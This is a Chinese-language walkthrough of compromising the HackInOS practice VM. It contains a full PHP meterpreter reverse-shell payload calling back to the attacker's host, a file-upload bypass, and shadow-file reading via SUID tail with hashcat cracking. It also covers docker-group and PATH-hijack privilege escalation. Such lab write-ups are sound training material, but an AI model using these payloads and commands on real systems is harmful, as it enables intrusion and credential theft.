簡介
HackinOS是一個滲透靶機,模擬真實的滲透環境,方便我們練習滲透方法,靶機下載地址…
攻擊者:kali
受害者:HackInOS
滲透步驟
1.獲取目標機器ip
因爲我的靶機在虛擬機中網絡用的NAT模式,所以靶機IP肯定和kali在同一個網絡下,先利用nmap來掃描一波:
很明顯,我們找到了目標機器的ip:192.168.88.133,並且發現開啓了22和8000端口,在8000端口下面是一個http服務,而且有一個upload.php文件,猜測這裏有一個上傳文件漏洞…
2.利用文件上傳漏洞
訪問這個地址,確實發現有文件上傳的功能:
然後我們右鍵查看源碼,發現了一個hint:
給了我們一個guthub的連接,我們訪問發現:
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}
?>
</body>
</html>
給了我們上傳文件的源碼,通過審查我們發現,只允許上傳PNG或GIF格式的圖片,校驗方式是校驗文件內容(實際校驗的是文件開頭幾個標誌文件類型的字節,PNG格式爲0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式爲GIF98),沒有校驗文件後綴;然後通過校驗的文件會保存在uploads目錄中,但是文件名是一個隨機生成的md5值,而後綴保持上傳文件的後綴不變…
所以我們可以先做一個圖片馬,主要是反彈shell的馬,我們利用Metasploit來生成:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f raw
把生成的payload:
/*<?php /**/ error_reporting(0); $ip = '192.168.88.130'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
保存在hack.php中,然後隨便找一個png圖片,將hack.php添加到圖片中去,然後將png圖片後綴改爲php:
cat hack.php >> best.png
mv best.png sir.php
然後我們可以寫一個python腳本來幫助我們找到並訪問我們上傳的木馬:
import hashlib
import requests
for i in range(101):
file_name = hashlib.md5('sir.php'+str(i)).hexdigest()
r = requests.get('http://192.168.88.133:8000/uploads/{}.php'.format(file_name))
然後我們設置好我們的msfconsole,等待反彈shell的連接:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.88.130
lhost => 192.168.88.130
msf5 exploit(multi/handler) > exploit
然後我們就可以去網站上去上傳木馬,然後運行python腳本,然後看到我們已經獲得了一個shell:
但是我們的權限很低…
提權1
我們在Web目錄中找到Wordpress的配置文件wp-config.php,看到了數據庫連接信息:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'b68c5e8cad4c8f8367efe2db89d7865e894d037d');
define('SECURE_AUTH_KEY', 'a7b32014b1898077ebe554d7284482aebeac92ae');
define('LOGGED_IN_KEY', 'e8b6f6b9b86e78127b8bfce51ed90151335d0140');
define('NONCE_KEY', '39f17a336c6000ca5d7929be883be09131dc31e1');
define('AUTH_SALT', 'dbf7b92510a931b835a8b82eec8fd1adbaad487f');
define('SECURE_AUTH_SALT', '632f4f59a75363a72b7b526d8b69718fc89a5c07');
define('LOGGED_IN_SALT', '614056ec3ba0011dcdb83422b44238045627750e');
define('NONCE_SALT', '48e539381259ccc664202943d14359572f23638b');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
// If we're behind a proxy server and using HTTPS, we need to alert Wordpress of that fact
// see also http://codex.wordpress.org/Administration_Over_SSL#Using_a_Reverse_Proxy
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
$_SERVER['HTTPS'] = 'on';
}
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
然後我們上傳一個Linux提權信息收集腳本linuxprivchecker.py:
然後運行這個腳本:
meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 141 created.
Channel 10 created.
python /tmp/linuxprivchecker.py
仔細閱讀腳本輸出的內容,我們發現到tail被設置了SUID:
直接用tail讀取shadow文件:
meterpreter > shell
Process 344 created.
Channel 3 created.
tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::
這裏得到了root用戶密碼的hash值,我們先把hash值保存到文件root.hash中,然後利用hashcat破解它:
root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force
得到密碼:john
root@kali:~# cat root.out
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john
於是我們su root,但是發現:
su root
su: must be run from a terminal
所以我們用python僞造一個終端,然後來su root:
python -c "import pty;pty.spawn('/bin/bash');"
然後拿到了flag:
root@1afdd1f6b82c:/var/www/html# cd
cd
root@1afdd1f6b82c:~# ls
ls
flag
root@1afdd1f6b82c:~# cat flag
cat flag
Life consists of details..
橫向滲透
很明顯這不是真正的flag,我們剛纔還得到了一個數據庫密碼,所以我們登錄看看:
我們這裏發現一個用戶名和密碼,之前掃描端口是發現一個22端口,所以這個可能是ssh的登錄信息,這個密碼md5解密出來後是123456;
我們登錄試試:
登錄成功,但是我們發現權限還是低,所以這裏又要提權…
提取2
我們看這個用戶名特別像在docker裏面,查看一下:
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)
確實是,因爲docker權限就能讀到/root中的文件了,所以可以利用docker run的-v參數,將/root掛載到容器中:
docker run -it -v /root:/root ubuntu:latest /bin/bash
成功獲得flag:
命令劫持
其實最後一個提取,我們還可以利用命令劫持的方法,因爲我們發現在目標機器的desktop上面有一個程序,運行之後會輸出root字樣,然後用strings命令還看到了whoami字樣:
所以,我們猜測這個程序是root權限並且程序裏面掉用了system(“whoami”)命令,所以我們可以把想辦法把whoami這個命令在機器上替換爲system("/bin/bash"),利用pwn的思想來提取;
查找一下PATH的位置:
現在命令劫持就非常方便了;
whoami.c:
#include <stdlib.h>
int main(void) {
system("/bin/bash");
return 0;
}
然後我們編譯它得到可執行文件whoami,然後在創建一個bin文件夾,將whoami放進去:
最後運行a.out程序即可提取: